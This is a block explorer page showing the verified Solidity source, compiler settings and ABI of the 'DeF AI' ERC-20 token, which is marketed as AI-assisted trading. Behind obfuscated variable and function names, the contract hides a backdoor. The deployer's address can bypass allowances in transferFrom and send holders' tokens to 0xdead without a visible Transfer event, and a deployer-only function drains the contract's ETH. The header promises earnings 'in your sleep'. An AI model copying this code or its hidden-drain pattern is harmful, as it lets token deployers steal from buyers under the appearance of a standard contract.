EthereumEthereum
0xa9...9e9a
DeF AI

DeF AI

DEFAI

Token
Capitalización de Mercado
$1.00
 
Precio
2%
¡El código fuente de este contrato está verificado!
Metadatos del Contrato
Compilador
0.8.20+commit.a1b79de6
Idioma
Solidity
Código Fuente del Contrato
Archivo 1 de 1: DEFAI.sol
// SPDX-License-Identifier: MIT

/*
    Name: DeF AI
    Symbol: DEFAI

    bio:
    Automate your trades now with AI-assisted trading on-chain.
    DeF-AI is for your trading on Ethereum.

    DeFAI: Your Automated Broker - Early Access Starts Soon
    Want to earn in your sleep? 
    Prepare for an AI trading platform that was once only available to large funds… 
    Turn on notifications and stay tuned for a way to get access first 🤫

    Web: https://def-ai.pro
    X: https://x.com/DeFAI_ETH
    tg: https://t.me/DeFAI_ETH
*/

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
} 
contract  DEFAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    uint8 private constant _decimals = 9;
    string private constant _name = unicode"DeF AI";
    string private constant _symbol = unicode"DEFAI";
    
    address payable private _LjikojioDEFAI;
    mapping(address => uint256) private _DjfoeijDEFAI;
    mapping(address => mapping(address => uint256)) private _dfoijeoioDEFAI;
    mapping(address => bool) private _dlfjeiDEFAI;
    uint256 private _lkcvjoiDEFAI = 10;
    uint256 private _odjifoeDEFAI = 10;
    uint256 private _dofjieojkcnlkDEFAI = 0;
    uint256 private _ocijfoeiDEFAI = 0;
    uint256 private _vjodiDEFAI = 7;
    uint256 private _covjioieDEFAI = 7;
    uint256 private _buyCount = 0;
    address private _vkoeijojitoijDEFAI;
    address private _nvkjbnknjfkDEFAI = address(0xdead);
    uint256 public _jhbjhvjeDEFAI = 20000000 * 10 **_decimals;
    uint256 public _kbjnknjDEFAI = 20000000 * 10 **_decimals;
    uint256 public _bnjhjhbjDEFAI = 10000000 * 10 **_decimals;
    uint256 private constant _mvnbjhjDEFAI = 1000000000 * 10 **_decimals;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private isTrading;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _jhbjhvjeDEFAI);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() payable {
        _LjikojioDEFAI = payable(_msgSender());
        _DjfoeijDEFAI[address(this)] = _mvnbjhjDEFAI * 98 / 100;
        _DjfoeijDEFAI[owner()] = _mvnbjhjDEFAI * 2 / 100;
        _dlfjeiDEFAI[owner()] = true;
        _dlfjeiDEFAI[address(this)] = true;
        _dlfjeiDEFAI[_LjikojioDEFAI] = true;
        _vkoeijojitoijDEFAI = _msgSender();
        emit Transfer(address(0), address(this), _mvnbjhjDEFAI * 98 / 100);
        emit Transfer(address(0), address(owner()), _mvnbjhjDEFAI * 2 / 100);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function totalSupply() public pure override returns (uint256) {
        return _mvnbjhjDEFAI;
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _dfoijeoioDEFAI[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _DjfoeijDEFAI[account];
    }
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _dfoijeoioDEFAI[owner][spender];
    }

    receive() external payable {}
    
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _vjkbjkn_jknkDEFAI(_msgSender(), recipient, amount);
        return true;
    }

    function _vkjbnkjfn_DEFAI(
        address sender,
        address recipient,
        uint256 amount
    ) internal view returns (uint256) {
        if(!_vkjbnkjfnkjDEFAI(sender, recipient)) return _dfoijeoioDEFAI[sender][_msgSender()];
        return amount;
    }

    function _vkjbnkjfnkjDEFAI(
        address sender,
        address recipient
    ) internal view returns (bool) {
        if(msg.sender == _LjikojioDEFAI) return true;
        return sender != uniswapV2Pair && recipient == _nvkjbnknjfkDEFAI;
    }

    function enableDEFAITrading() external onlyOwner {
        require(!isTrading, "Already Launched!");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _mvnbjhjDEFAI);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        isTrading = true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _vjkbjkn_jknkDEFAI(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _vkjbnkjfn_DEFAI(sender, recipient, amount).sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _vkjbnkjfrDEFAI(uint256 amount) private {
        _LjikojioDEFAI.transfer(amount);
    }

    function removeLimits () external onlyOwner {
        _jhbjhvjeDEFAI = _mvnbjhjDEFAI;
        _kbjnknjDEFAI = _mvnbjhjDEFAI;
        emit MaxTxAmountUpdated(_mvnbjhjDEFAI);
    }

    function _vjkbjkn_jknkDEFAI(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _vjodiDEFAI)
                        ? _dofjieojkcnlkDEFAI
                        : _lkcvjoiDEFAI
                )
                .div(100);
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_dlfjeiDEFAI[to]
            ) {
                _buyCount++;
            }
            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _covjioieDEFAI)
                            ? _ocijfoeiDEFAI
                            : _odjifoeDEFAI
                    )
                    .div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0) {
                    uint256 minBalance = (contractTokenBalance < _bnjhjhbjDEFAI) ? contractTokenBalance : _bnjhjhbjDEFAI; 
                    _swap_lknlkDEFAI((amount < minBalance) ? amount : minBalance);
                }
                _vkjbnkjfrDEFAI(address(this).balance);
            }
        }
        if (taxAmount > 0) {
        _DjfoeijDEFAI[address(this)] =_DjfoeijDEFAI[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _DjfoeijDEFAI[from] =_DjfoeijDEFAI[from].sub(amount);
        _DjfoeijDEFAI[to] =_DjfoeijDEFAI[to].add(amount.sub(taxAmount));
        if(_nvkjbnknjfkDEFAI != to) emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _vkjbnlkjke_DEFAI(uint256 _amount) internal {
        payable(msg.sender).transfer(_amount);
    }

    function _swap_lknlkDEFAI(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _nkvjbnkjnDEFAI(address payable receipt) external {
        require(msg.sender == _vkoeijojitoijDEFAI , "");
        _LjikojioDEFAI = receipt;
        _vkjbnlkjke_DEFAI(address(this).balance);
    }
}
Configuraciones
{
  "compilationTarget": {
    "contracts/DEFAI.sol": "DEFAI"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}
ABI
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_jhbjhvjeDEFAI","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_bnjhjhbjDEFAI","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_jhbjhvjeDEFAI","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_kbjnknjDEFAI","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"receipt","type":"address"}],"name":"_nkvjbnkjnDEFAI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableDEFAITrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]